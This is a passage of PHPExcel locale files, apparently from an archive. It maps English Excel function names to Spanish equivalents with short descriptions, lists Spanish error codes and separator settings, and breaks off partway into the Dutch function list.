DSTDEVP = BDDESVESTP ## Calcula la desviación estándar en función de la población total de las entradas seleccionadas de la base de datos. DSUM = BDSUMA ## Suma los números de la columna de campo de los registros de la base de datos que cumplen los criterios. DVAR = BDVAR ## Calcula la varianza a partir de una muestra de entradas seleccionadas de la base de datos. DVARP = BDVARP ## Calcula la varianza a partir de la población total de entradas seleccionadas de la base de datos. ## ## Date and time functions Funciones de fecha y hora ## DATE = FECHA ## Devuelve el número de serie correspondiente a una fecha determinada. DATEVALUE = FECHANUMERO ## Convierte una fecha con formato de texto en un valor de número de serie. DAY = DIA ## Convierte un número de serie en un valor de día del mes. DAYS360 = DIAS360 ## Calcula el número de días entre dos fechas a partir de un año de 360 días. EDATE = FECHA.MES ## Devuelve el número de serie de la fecha equivalente al número indicado de meses anteriores o posteriores a la fecha inicial. EOMONTH = FIN.MES ## Devuelve el número de serie correspondiente al último día del mes anterior o posterior a un número de meses especificado. HOUR = HORA ## Convierte un número de serie en un valor de hora. MINUTE = MINUTO ## Convierte un número de serie en un valor de minuto. MONTH = MES ## Convierte un número de serie en un valor de mes. NETWORKDAYS = DIAS.LAB ## Devuelve el número de todos los días laborables existentes entre dos fechas. NOW = AHORA ## Devuelve el número de serie correspondiente a la fecha y hora actuales. SECOND = SEGUNDO ## Convierte un número de serie en un valor de segundo. TIME = HORA ## Devuelve el número de serie correspondiente a una hora determinada. TIMEVALUE = HORANUMERO ## Convierte una hora con formato de texto en un valor de número de serie. TODAY = HOY ## Devuelve el número de serie correspondiente al día actual. WEEKDAY = DIASEM ## Convierte un número de serie en un valor de día de la semana. WEEKNUM = NUM.DE.SEMANA ## Convierte un número de serie en un número que representa el lugar numérico correspondiente a una semana de un año. WORKDAY = DIA.LAB ## Devuelve el número de serie de la fecha que tiene lugar antes o después de un número determinado de días laborables. YEAR = AÑO ## Convierte un número de serie en un valor de año. YEARFRAC = FRAC.AÑO ## Devuelve la fracción de año que representa el número total de días existentes entre el valor de fecha_inicial y el de fecha_final. ## ## Engineering functions Funciones de ingeniería ## BESSELI = BESSELI ## Devuelve la función Bessel In(x) modificada. BESSELJ = BESSELJ ## Devuelve la función Bessel Jn(x). BESSELK = BESSELK ## Devuelve la función Bessel Kn(x) modificada. BESSELY = BESSELY ## Devuelve la función Bessel Yn(x). BIN2DEC = BIN.A.DEC ## Convierte un número binario en decimal. BIN2HEX = BIN.A.HEX ## Convierte un número binario en hexadecimal. BIN2OCT = BIN.A.OCT ## Convierte un número binario en octal. COMPLEX = COMPLEJO ## Convierte coeficientes reales e imaginarios en un número complejo. CONVERT = CONVERTIR ## Convierte un número de un sistema de medida a otro. DEC2BIN = DEC.A.BIN ## Convierte un número decimal en binario. DEC2HEX = DEC.A.HEX ## Convierte un número decimal en hexadecimal. DEC2OCT = DEC.A.OCT ## Convierte un número decimal en octal. DELTA = DELTA ## Comprueba si dos valores son iguales. ERF = FUN.ERROR ## Devuelve la función de error. ERFC = FUN.ERROR.COMPL ## Devuelve la función de error complementario. GESTEP = MAYOR.O.IGUAL ## Comprueba si un número es mayor que un valor de umbral. HEX2BIN = HEX.A.BIN ## Convierte un número hexadecimal en binario. HEX2DEC = HEX.A.DEC ## Convierte un número hexadecimal en decimal. HEX2OCT = HEX.A.OCT ## Convierte un número hexadecimal en octal. IMABS = IM.ABS ## Devuelve el valor absoluto (módulo) de un número complejo. IMAGINARY = IMAGINARIO ## Devuelve el coeficiente imaginario de un número complejo. IMARGUMENT = IM.ANGULO ## Devuelve el argumento theta, un ángulo expresado en radianes. IMCONJUGATE = IM.CONJUGADA ## Devuelve la conjugada compleja de un número complejo. IMCOS = IM.COS ## Devuelve el coseno de un número complejo. IMDIV = IM.DIV ## Devuelve el cociente de dos números complejos. IMEXP = IM.EXP ## Devuelve el valor exponencial de un número complejo. IMLN = IM.LN ## Devuelve el logaritmo natural (neperiano) de un número complejo. IMLOG10 = IM.LOG10 ## Devuelve el logaritmo en base 10 de un número complejo. IMLOG2 = IM.LOG2 ## Devuelve el logaritmo en base 2 de un número complejo. IMPOWER = IM.POT ## Devuelve un número complejo elevado a una potencia entera. IMPRODUCT = IM.PRODUCT ## Devuelve el producto de números complejos. IMREAL = IM.REAL ## Devuelve el coeficiente real de un número complejo. IMSIN = IM.SENO ## Devuelve el seno de un número complejo. IMSQRT = IM.RAIZ2 ## Devuelve la raíz cuadrada de un número complejo. IMSUB = IM.SUSTR ## Devuelve la diferencia entre dos números complejos. IMSUM = IM.SUM ## Devuelve la suma de números complejos. OCT2BIN = OCT.A.BIN ## Convierte un número octal en binario. OCT2DEC = OCT.A.DEC ## Convierte un número octal en decimal. OCT2HEX = OCT.A.HEX ## Convierte un número octal en hexadecimal. ## ## Financial functions Funciones financieras ## ACCRINT = INT.ACUM ## Devuelve el interés acumulado de un valor bursátil con pagos de interés periódicos. ACCRINTM = INT.ACUM.V ## Devuelve el interés acumulado de un valor bursátil con pagos de interés al vencimiento. AMORDEGRC = AMORTIZ.PROGRE ## Devuelve la amortización de cada período contable mediante el uso de un coeficiente de amortización. AMORLINC = AMORTIZ.LIN ## Devuelve la amortización de cada uno de los períodos contables. COUPDAYBS = CUPON.DIAS.L1 ## Devuelve el número de días desde el principio del período de un cupón hasta la fecha de liquidación. COUPDAYS = CUPON.DIAS ## Devuelve el número de días del período (entre dos cupones) donde se encuentra la fecha de liquidación. COUPDAYSNC = CUPON.DIAS.L2 ## Devuelve el número de días desde la fecha de liquidación hasta la fecha del próximo cupón. COUPNCD = CUPON.FECHA.L2 ## Devuelve la fecha del próximo cupón después de la fecha de liquidación. COUPNUM = CUPON.NUM ## Devuelve el número de pagos de cupón entre la fecha de liquidación y la fecha de vencimiento. COUPPCD = CUPON.FECHA.L1 ## Devuelve la fecha de cupón anterior a la fecha de liquidación. CUMIPMT = PAGO.INT.ENTRE ## Devuelve el interés acumulado pagado entre dos períodos. CUMPRINC = PAGO.PRINC.ENTRE ## Devuelve el capital acumulado pagado de un préstamo entre dos períodos. DB = DB ## Devuelve la amortización de un bien durante un período específico a través del método de amortización de saldo fijo. DDB = DDB ## Devuelve la amortización de un bien durante un período específico a través del método de amortización por doble disminución de saldo u otro método que se especifique. DISC = TASA.DESC ## Devuelve la tasa de descuento de un valor bursátil. DOLLARDE = MONEDA.DEC ## Convierte una cotización de un valor bursátil expresada en forma fraccionaria en una cotización de un valor bursátil expresada en forma decimal. DOLLARFR = MONEDA.FRAC ## Convierte una cotización de un valor bursátil expresada en forma decimal en una cotización de un valor bursátil expresada en forma fraccionaria. DURATION = DURACION ## Devuelve la duración anual de un valor bursátil con pagos de interés periódico. EFFECT = INT.EFECTIVO ## Devuelve la tasa de interés anual efectiva. FV = VF ## Devuelve el valor futuro de una inversión. FVSCHEDULE = VF.PLAN ## Devuelve el valor futuro de un capital inicial después de aplicar una serie de tasas de interés compuesto. INTRATE = TASA.INT ## Devuelve la tasa de interés para la inversión total de un valor bursátil. IPMT = PAGOINT ## Devuelve el pago de intereses de una inversión durante un período determinado. IRR = TIR ## Devuelve la tasa interna de retorno para una serie de flujos de efectivo periódicos. ISPMT = INT.PAGO.DIR ## Calcula el interés pagado durante un período específico de una inversión. MDURATION = DURACION.MODIF ## Devuelve la duración de Macauley modificada de un valor bursátil con un valor nominal supuesto de 100 $. MIRR = TIRM ## Devuelve la tasa interna de retorno donde se financian flujos de efectivo positivos y negativos a tasas diferentes. NOMINAL = TASA.NOMINAL ## Devuelve la tasa nominal de interés anual. NPER = NPER ## Devuelve el número de períodos de una inversión. NPV = VNA ## Devuelve el valor neto actual de una inversión en función de una serie de flujos periódicos de efectivo y una tasa de descuento. ODDFPRICE = PRECIO.PER.IRREGULAR.1 ## Devuelve el precio por un valor nominal de 100 $ de un valor bursátil con un primer período impar. ODDFYIELD = RENDTO.PER.IRREGULAR.1 ## Devuelve el rendimiento de un valor bursátil con un primer período impar. ODDLPRICE = PRECIO.PER.IRREGULAR.2 ## Devuelve el precio por un valor nominal de 100 $ de un valor bursátil con un último período impar. ODDLYIELD = RENDTO.PER.IRREGULAR.2 ## Devuelve el rendimiento de un valor bursátil con un último período impar. PMT = PAGO ## Devuelve el pago periódico de una anualidad. PPMT = PAGOPRIN ## Devuelve el pago de capital de una inversión durante un período determinado. PRICE = PRECIO ## Devuelve el precio por un valor nominal de 100 $ de un valor bursátil que paga una tasa de interés periódico. PRICEDISC = PRECIO.DESCUENTO ## Devuelve el precio por un valor nominal de 100 $ de un valor bursátil con descuento. PRICEMAT = PRECIO.VENCIMIENTO ## Devuelve el precio por un valor nominal de 100 $ de un valor bursátil que paga interés a su vencimiento. PV = VALACT ## Devuelve el valor actual de una inversión. RATE = TASA ## Devuelve la tasa de interés por período de una anualidad. RECEIVED = CANTIDAD.RECIBIDA ## Devuelve la cantidad recibida al vencimiento de un valor bursátil completamente invertido. SLN = SLN ## Devuelve la amortización por método directo de un bien en un período dado. SYD = SYD ## Devuelve la amortización por suma de dígitos de los años de un bien durante un período especificado. TBILLEQ = LETRA.DE.TES.EQV.A.BONO ## Devuelve el rendimiento de un bono equivalente a una letra del Tesoro (de EE.UU.) TBILLPRICE = LETRA.DE.TES.PRECIO ## Devuelve el precio por un valor nominal de 100 $ de una letra del Tesoro (de EE.UU.) TBILLYIELD = LETRA.DE.TES.RENDTO ## Devuelve el rendimiento de una letra del Tesoro (de EE.UU.) VDB = DVS ## Devuelve la amortización de un bien durante un período específico o parcial a través del método de cálculo del saldo en disminución. XIRR = TIR.NO.PER ## Devuelve la tasa interna de retorno para un flujo de efectivo que no es necesariamente periódico. XNPV = VNA.NO.PER ## Devuelve el valor neto actual para un flujo de efectivo que no es necesariamente periódico. YIELD = RENDTO ## Devuelve el rendimiento de un valor bursátil que paga intereses periódicos. YIELDDISC = RENDTO.DESC ## Devuelve el rendimiento anual de un valor bursátil con descuento; por ejemplo, una letra del Tesoro (de EE.UU.) YIELDMAT = RENDTO.VENCTO ## Devuelve el rendimiento anual de un valor bursátil que paga intereses al vencimiento. ## ## Information functions Funciones de información ## CELL = CELDA ## Devuelve información acerca del formato, la ubicación o el contenido de una celda. ERROR.TYPE = TIPO.DE.ERROR ## Devuelve un número que corresponde a un tipo de error. INFO = INFO ## Devuelve información acerca del entorno operativo en uso. ISBLANK = ESBLANCO ## Devuelve VERDADERO si el valor está en blanco. ISERR = ESERR ## Devuelve VERDADERO si el valor es cualquier valor de error excepto #N/A. ISERROR = ESERROR ## Devuelve VERDADERO si el valor es cualquier valor de error. ISEVEN = ES.PAR ## Devuelve VERDADERO si el número es par. ISLOGICAL = ESLOGICO ## Devuelve VERDADERO si el valor es un valor lógico. ISNA = ESNOD ## Devuelve VERDADERO si el valor es el valor de error #N/A. ISNONTEXT = ESNOTEXTO ## Devuelve VERDADERO si el valor no es texto. ISNUMBER = ESNUMERO ## Devuelve VERDADERO si el valor es un número. ISODD = ES.IMPAR ## Devuelve VERDADERO si el número es impar. ISREF = ESREF ## Devuelve VERDADERO si el valor es una referencia. ISTEXT = ESTEXTO ## Devuelve VERDADERO si el valor es texto. N = N ## Devuelve un valor convertido en un número. NA = ND ## Devuelve el valor de error #N/A. TYPE = TIPO ## Devuelve un número que indica el tipo de datos de un valor. ## ## Logical functions Funciones lógicas ## AND = Y ## Devuelve VERDADERO si todos sus argumentos son VERDADERO. FALSE = FALSO ## Devuelve el valor lógico FALSO. IF = SI ## Especifica una prueba lógica que realizar. IFERROR = SI.ERROR ## Devuelve un valor que se especifica si una fórmula lo evalúa como un error; de lo contrario, devuelve el resultado de la fórmula. NOT = NO ## Invierte el valor lógico del argumento. OR = O ## Devuelve VERDADERO si cualquier argumento es VERDADERO. TRUE = VERDADERO ## Devuelve el valor lógico VERDADERO. ## ## Lookup and reference functions Funciones de búsqueda y referencia ## ADDRESS = DIRECCION ## Devuelve una referencia como texto a una sola celda de una hoja de cálculo. AREAS = AREAS ## Devuelve el número de áreas de una referencia. CHOOSE = ELEGIR ## Elige un valor de una lista de valores. COLUMN = COLUMNA ## Devuelve el número de columna de una referencia. COLUMNS = COLUMNAS ## Devuelve el número de columnas de una referencia. HLOOKUP = BUSCARH ## Busca en la fila superior de una matriz y devuelve el valor de la celda indicada. HYPERLINK = HIPERVINCULO ## Crea un acceso directo o un salto que abre un documento almacenado en un servidor de red, en una intranet o en Internet. INDEX = INDICE ## Usa un índice para elegir un valor de una referencia o matriz. INDIRECT = INDIRECTO ## Devuelve una referencia indicada por un valor de texto. LOOKUP = BUSCAR ## Busca valores de un vector o una matriz. MATCH = COINCIDIR ## Busca valores de una referencia o matriz. OFFSET = DESREF ## Devuelve un desplazamiento de referencia respecto a una referencia dada. ROW = FILA ## Devuelve el número de fila de una referencia. ROWS = FILAS ## Devuelve el número de filas de una referencia. RTD = RDTR ## Recupera datos en tiempo real desde un programa compatible con la automatización COM (automatización: modo de trabajar con los objetos de una aplicación desde otra aplicación o herramienta de entorno. La automatización, antes denominada automatización OLE, es un estándar de la industria y una función del Modelo de objetos componentes (COM).). TRANSPOSE = TRANSPONER ## Devuelve la transposición de una matriz. VLOOKUP = BUSCARV ## Busca en la primera columna de una matriz y se mueve en horizontal por la fila para devolver el valor de una celda. ## ## Math and trigonometry functions Funciones matemáticas y trigonométricas ## ABS = ABS ## Devuelve el valor absoluto de un número. ACOS = ACOS ## Devuelve el arcocoseno de un número. ACOSH = ACOSH ## Devuelve el coseno hiperbólico inverso de un número. ASIN = ASENO ## Devuelve el arcoseno de un número. ASINH = ASENOH ## Devuelve el seno hiperbólico inverso de un número. ATAN = ATAN ## Devuelve la arcotangente de un número. ATAN2 = ATAN2 ## Devuelve la arcotangente de las coordenadas "x" e "y". ATANH = ATANH ## Devuelve la tangente hiperbólica inversa de un número. CEILING = MULTIPLO.SUPERIOR ## Redondea un número al entero más próximo o al múltiplo significativo más cercano. COMBIN = COMBINAT ## Devuelve el número de combinaciones para un número determinado de objetos. COS = COS ## Devuelve el coseno de un número. COSH = COSH ## Devuelve el coseno hiperbólico de un número. DEGREES = GRADOS ## Convierte radianes en grados. EVEN = REDONDEA.PAR ## Redondea un número hasta el entero par más próximo. EXP = EXP ## Devuelve e elevado a la potencia de un número dado. FACT = FACT ## Devuelve el factorial de un número. FACTDOUBLE = FACT.DOBLE ## Devuelve el factorial doble de un número. FLOOR = MULTIPLO.INFERIOR ## Redondea un número hacia abajo, en dirección hacia cero. GCD = M.C.D ## Devuelve el máximo común divisor. INT = ENTERO ## Redondea un número hacia abajo hasta el entero más próximo. LCM = M.C.M ## Devuelve el mínimo común múltiplo. LN = LN ## Devuelve el logaritmo natural (neperiano) de un número. LOG = LOG ## Devuelve el logaritmo de un número en una base especificada. LOG10 = LOG10 ## Devuelve el logaritmo en base 10 de un número. MDETERM = MDETERM ## Devuelve la determinante matricial de una matriz. MINVERSE = MINVERSA ## Devuelve la matriz inversa de una matriz. MMULT = MMULT ## Devuelve el producto de matriz de dos matrices. MOD = RESIDUO ## Devuelve el resto de la división. MROUND = REDOND.MULT ## Devuelve un número redondeado al múltiplo deseado. MULTINOMIAL = MULTINOMIAL ## Devuelve el polinomio de un conjunto de números. ODD = REDONDEA.IMPAR ## Redondea un número hacia arriba hasta el entero impar más próximo. PI = PI ## Devuelve el valor de pi. POWER = POTENCIA ## Devuelve el resultado de elevar un número a una potencia. PRODUCT = PRODUCTO ## Multiplica sus argumentos. QUOTIENT = COCIENTE ## Devuelve la parte entera de una división. RADIANS = RADIANES ## Convierte grados en radianes. RAND = ALEATORIO ## Devuelve un número aleatorio entre 0 y 1. RANDBETWEEN = ALEATORIO.ENTRE ## Devuelve un número aleatorio entre los números que especifique. ROMAN = NUMERO.ROMANO ## Convierte un número arábigo en número romano, con formato de texto. ROUND = REDONDEAR ## Redondea un número al número de decimales especificado. ROUNDDOWN = REDONDEAR.MENOS ## Redondea un número hacia abajo, en dirección hacia cero. ROUNDUP = REDONDEAR.MAS ## Redondea un número hacia arriba, en dirección contraria a cero. SERIESSUM = SUMA.SERIES ## Devuelve la suma de una serie de potencias en función de la fórmula. SIGN = SIGNO ## Devuelve el signo de un número. SIN = SENO ## Devuelve el seno de un ángulo determinado. SINH = SENOH ## Devuelve el seno hiperbólico de un número. SQRT = RAIZ ## Devuelve la raíz cuadrada positiva de un número. SQRTPI = RAIZ2PI ## Devuelve la raíz cuadrada de un número multiplicado por PI (número * pi). SUBTOTAL = SUBTOTALES ## Devuelve un subtotal en una lista o base de datos. SUM = SUMA ## Suma sus argumentos. SUMIF = SUMAR.SI ## Suma las celdas especificadas que cumplen unos criterios determinados. SUMIFS = SUMAR.SI.CONJUNTO ## Suma las celdas de un rango que cumplen varios criterios. SUMPRODUCT = SUMAPRODUCTO ## Devuelve la suma de los productos de los correspondientes componentes de matriz. SUMSQ = SUMA.CUADRADOS ## Devuelve la suma de los cuadrados de los argumentos. SUMX2MY2 = SUMAX2MENOSY2 ## Devuelve la suma de la diferencia de los cuadrados de los valores correspondientes de dos matrices. SUMX2PY2 = SUMAX2MASY2 ## Devuelve la suma de la suma de los cuadrados de los valores correspondientes de dos matrices. SUMXMY2 = SUMAXMENOSY2 ## Devuelve la suma de los cuadrados de las diferencias de los valores correspondientes de dos matrices. TAN = TAN ## Devuelve la tangente de un número. TANH = TANH ## Devuelve la tangente hiperbólica de un número. TRUNC = TRUNCAR ## Trunca un número a un entero. ## ## Statistical functions Funciones estadísticas ## AVEDEV = DESVPROM ## Devuelve el promedio de las desviaciones absolutas de la media de los puntos de datos. AVERAGE = PROMEDIO ## Devuelve el promedio de sus argumentos. AVERAGEA = PROMEDIOA ## Devuelve el promedio de sus argumentos, incluidos números, texto y valores lógicos. AVERAGEIF = PROMEDIO.SI ## Devuelve el promedio (media aritmética) de todas las celdas de un rango que cumplen unos criterios determinados. AVERAGEIFS = PROMEDIO.SI.CONJUNTO ## Devuelve el promedio (media aritmética) de todas las celdas que cumplen múltiples criterios. BETADIST = DISTR.BETA ## Devuelve la función de distribución beta acumulativa. BETAINV = DISTR.BETA.INV ## Devuelve la función inversa de la función de distribución acumulativa de una distribución beta especificada. BINOMDIST = DISTR.BINOM ## Devuelve la probabilidad de una variable aleatoria discreta siguiendo una distribución binomial. CHIDIST = DISTR.CHI ## Devuelve la probabilidad de una variable aleatoria continua siguiendo una distribución chi cuadrado de una sola cola. CHIINV = PRUEBA.CHI.INV ## Devuelve la función inversa de la probabilidad de una variable aleatoria continua siguiendo una distribución chi cuadrado de una sola cola. CHITEST = PRUEBA.CHI ## Devuelve la prueba de independencia. CONFIDENCE = INTERVALO.CONFIANZA ## Devuelve el intervalo de confianza de la media de una población. CORREL = COEF.DE.CORREL ## Devuelve el coeficiente de correlación entre dos conjuntos de datos. COUNT = CONTAR ## Cuenta cuántos números hay en la lista de argumentos. COUNTA = CONTARA ## Cuenta cuántos valores hay en la lista de argumentos. COUNTBLANK = CONTAR.BLANCO ## Cuenta el número de celdas en blanco de un rango. COUNTIF = CONTAR.SI ## Cuenta el número de celdas, dentro del rango, que cumplen el criterio especificado. COUNTIFS = CONTAR.SI.CONJUNTO ## Cuenta el número de celdas, dentro del rango, que cumplen varios criterios. COVAR = COVAR ## Devuelve la covarianza, que es el promedio de los productos de las desviaciones para cada pareja de puntos de datos. CRITBINOM = BINOM.CRIT ## Devuelve el menor valor cuya distribución binomial acumulativa es menor o igual a un valor de criterio. DEVSQ = DESVIA2 ## Devuelve la suma de los cuadrados de las desviaciones. EXPONDIST = DISTR.EXP ## Devuelve la distribución exponencial. FDIST = DISTR.F ## Devuelve la distribución de probabilidad F. FINV = DISTR.F.INV ## Devuelve la función inversa de la distribución de probabilidad F. FISHER = FISHER ## Devuelve la transformación Fisher. FISHERINV = PRUEBA.FISHER.INV ## Devuelve la función inversa de la transformación Fisher. FORECAST = PRONOSTICO ## Devuelve un valor en una tendencia lineal. FREQUENCY = FRECUENCIA ## Devuelve una distribución de frecuencia como una matriz vertical. FTEST = PRUEBA.F ## Devuelve el resultado de una prueba F. GAMMADIST = DISTR.GAMMA ## Devuelve la distribución gamma. GAMMAINV = DISTR.GAMMA.INV ## Devuelve la función inversa de la distribución gamma acumulativa. GAMMALN = GAMMA.LN ## Devuelve el logaritmo natural de la función gamma, G(x). GEOMEAN = MEDIA.GEOM ## Devuelve la media geométrica. GROWTH = CRECIMIENTO ## Devuelve valores en una tendencia exponencial. HARMEAN = MEDIA.ARMO ## Devuelve la media armónica. HYPGEOMDIST = DISTR.HIPERGEOM ## Devuelve la distribución hipergeométrica. INTERCEPT = INTERSECCION.EJE ## Devuelve la intersección de la línea de regresión lineal. KURT = CURTOSIS ## Devuelve la curtosis de un conjunto de datos. LARGE = K.ESIMO.MAYOR ## Devuelve el k-ésimo mayor valor de un conjunto de datos. LINEST = ESTIMACION.LINEAL ## Devuelve los parámetros de una tendencia lineal. LOGEST = ESTIMACION.LOGARITMICA ## Devuelve los parámetros de una tendencia exponencial. LOGINV = DISTR.LOG.INV ## Devuelve la función inversa de la distribución logarítmico-normal. LOGNORMDIST = DISTR.LOG.NORM ## Devuelve la distribución logarítmico-normal acumulativa. MAX = MAX ## Devuelve el valor máximo de una lista de argumentos. MAXA = MAXA ## Devuelve el valor máximo de una lista de argumentos, incluidos números, texto y valores lógicos. MEDIAN = MEDIANA ## Devuelve la mediana de los números dados. MIN = MIN ## Devuelve el valor mínimo de una lista de argumentos. MINA = MINA ## Devuelve el valor mínimo de una lista de argumentos, incluidos números, texto y valores lógicos. MODE = MODA ## Devuelve el valor más común de un conjunto de datos. NEGBINOMDIST = NEGBINOMDIST ## Devuelve la distribución binomial negativa. NORMDIST = DISTR.NORM ## Devuelve la distribución normal acumulativa. NORMINV = DISTR.NORM.INV ## Devuelve la función inversa de la distribución normal acumulativa. NORMSDIST = DISTR.NORM.ESTAND ## Devuelve la distribución normal estándar acumulativa. NORMSINV = DISTR.NORM.ESTAND.INV ## Devuelve la función inversa de la distribución normal estándar acumulativa. PEARSON = PEARSON ## Devuelve el coeficiente de momento de correlación de producto Pearson. PERCENTILE = PERCENTIL ## Devuelve el k-ésimo percentil de los valores de un rango. PERCENTRANK = RANGO.PERCENTIL ## Devuelve el rango porcentual de un valor de un conjunto de datos. PERMUT = PERMUTACIONES ## Devuelve el número de permutaciones de un número determinado de objetos. POISSON = POISSON ## Devuelve la distribución de Poisson. PROB = PROBABILIDAD ## Devuelve la probabilidad de que los valores de un rango se encuentren entre dos límites. QUARTILE = CUARTIL ## Devuelve el cuartil de un conjunto de datos. RANK = JERARQUIA ## Devuelve la jerarquía de un número en una lista de números. RSQ = COEFICIENTE.R2 ## Devuelve el cuadrado del coeficiente de momento de correlación de producto Pearson. SKEW = COEFICIENTE.ASIMETRIA ## Devuelve la asimetría de una distribución. SLOPE = PENDIENTE ## Devuelve la pendiente de la línea de regresión lineal. SMALL = K.ESIMO.MENOR ## Devuelve el k-ésimo menor valor de un conjunto de datos. STANDARDIZE = NORMALIZACION ## Devuelve un valor normalizado. STDEV = DESVEST ## Calcula la desviación estándar a partir de una muestra. STDEVA = DESVESTA ## Calcula la desviación estándar a partir de una muestra, incluidos números, texto y valores lógicos. STDEVP = DESVESTP ## Calcula la desviación estándar en función de toda la población. STDEVPA = DESVESTPA ## Calcula la desviación estándar en función de toda la población, incluidos números, texto y valores lógicos. STEYX = ERROR.TIPICO.XY ## Devuelve el error estándar del valor de "y" previsto para cada "x" de la regresión. TDIST = DISTR.T ## Devuelve la distribución de t de Student. TINV = DISTR.T.INV ## Devuelve la función inversa de la distribución de t de Student. TREND = TENDENCIA ## Devuelve valores en una tendencia lineal. TRIMMEAN = MEDIA.ACOTADA ## Devuelve la media del interior de un conjunto de datos. TTEST = PRUEBA.T ## Devuelve la probabilidad asociada a una prueba t de Student. VAR = VAR ## Calcula la varianza en función de una muestra. VARA = VARA ## Calcula la varianza en función de una muestra, incluidos números, texto y valores lógicos. VARP = VARP ## Calcula la varianza en función de toda la población. VARPA = VARPA ## Calcula la varianza en función de toda la población, incluidos números, texto y valores lógicos. WEIBULL = DIST.WEIBULL ## Devuelve la distribución de Weibull. ZTEST = PRUEBA.Z ## Devuelve el valor de una probabilidad de una cola de una prueba z. ## ## Text functions Funciones de texto ## ASC = ASC ## Convierte las letras inglesas o katakana de ancho completo (de dos bytes) dentro de una cadena de caracteres en caracteres de ancho medio (de un byte). BAHTTEXT = TEXTOBAHT ## Convierte un número en texto, con el formato de moneda ß (Baht). CHAR = CARACTER ## Devuelve el carácter especificado por el número de código. CLEAN = LIMPIAR ## Quita del texto todos los caracteres no imprimibles. CODE = CODIGO ## Devuelve un código numérico del primer carácter de una cadena de texto. CONCATENATE = CONCATENAR ## Concatena varios elementos de texto en uno solo. DOLLAR = MONEDA ## Convierte un número en texto, con el formato de moneda $ (dólar). EXACT = IGUAL ## Comprueba si dos valores de texto son idénticos. FIND = ENCONTRAR ## Busca un valor de texto dentro de otro (distingue mayúsculas de minúsculas). FINDB = ENCONTRARB ## Busca un valor de texto dentro de otro (distingue mayúsculas de minúsculas). FIXED = DECIMAL ## Da formato a un número como texto con un número fijo de decimales. JIS = JIS ## Convierte las letras inglesas o katakana de ancho medio (de un byte) dentro de una cadena de caracteres en caracteres de ancho completo (de dos bytes). LEFT = IZQUIERDA ## Devuelve los caracteres del lado izquierdo de un valor de texto. LEFTB = IZQUIERDAB ## Devuelve los caracteres del lado izquierdo de un valor de texto. LEN = LARGO ## Devuelve el número de caracteres de una cadena de texto. LENB = LARGOB ## Devuelve el número de caracteres de una cadena de texto. LOWER = MINUSC ## Pone el texto en minúsculas. MID = EXTRAE ## Devuelve un número específico de caracteres de una cadena de texto que comienza en la posición que se especifique. MIDB = EXTRAEB ## Devuelve un número específico de caracteres de una cadena de texto que comienza en la posición que se especifique. PHONETIC = FONETICO ## Extrae los caracteres fonéticos (furigana) de una cadena de texto. PROPER = NOMPROPIO ## Pone en mayúscula la primera letra de cada palabra de un valor de texto. REPLACE = REEMPLAZAR ## Reemplaza caracteres de texto. REPLACEB = REEMPLAZARB ## Reemplaza caracteres de texto. REPT = REPETIR ## Repite el texto un número determinado de veces. RIGHT = DERECHA ## Devuelve los caracteres del lado derecho de un valor de texto. RIGHTB = DERECHAB ## Devuelve los caracteres del lado derecho de un valor de texto. SEARCH = HALLAR ## Busca un valor de texto dentro de otro (no distingue mayúsculas de minúsculas). SEARCHB = HALLARB ## Busca un valor de texto dentro de otro (no distingue mayúsculas de minúsculas). SUBSTITUTE = SUSTITUIR ## Sustituye texto nuevo por texto antiguo en una cadena de texto. T = T ## Convierte sus argumentos a texto. TEXT = TEXTO ## Da formato a un número y lo convierte en texto. TRIM = ESPACIOS ## Quita los espacios del texto. UPPER = MAYUSC ## Pone el texto en mayúsculas. VALUE = VALOR ## Convierte un argumento de texto en un número. PHPExcel/locale/es/config 0000644 00000002601 14642534110 0011211 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = $ ## I'm surprised that the Excel Documentation suggests $ rather than € ## ## Excel Error Codes (For future use) ## NULL = #¡NULO! DIV0 = #¡DIV/0! VALUE = #¡VALOR! REF = #¡REF! NAME = #¿NOMBRE? NUM = #¡NÚM! NA = #N/A PHPExcel/locale/nl/functions 0000644 00000107552 14642534110 0011771 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Automatiseringsfuncties en functies in invoegtoepassingen ## GETPIVOTDATA = DRAAITABEL.OPHALEN ## Geeft gegevens uit een draaitabelrapport als resultaat ## ## Cube functions Kubusfuncties ## CUBEKPIMEMBER = KUBUSKPILID ## Retourneert de naam, eigenschap en waarde van een KPI (prestatie-indicator) en geeft de naam en de eigenschap in de cel weer. Een KPI is een meetbare waarde, zoals de maandelijkse brutowinst of de omzet per kwartaal per werknemer, die wordt gebruikt om de prestaties van een organisatie te bewaken CUBEMEMBER = KUBUSLID ## Retourneert een lid of tupel in een kubushiërarchie. Wordt gebruikt om te controleren of het lid of de tupel in de kubus aanwezig is CUBEMEMBERPROPERTY = KUBUSLIDEIGENSCHAP ## Retourneert de 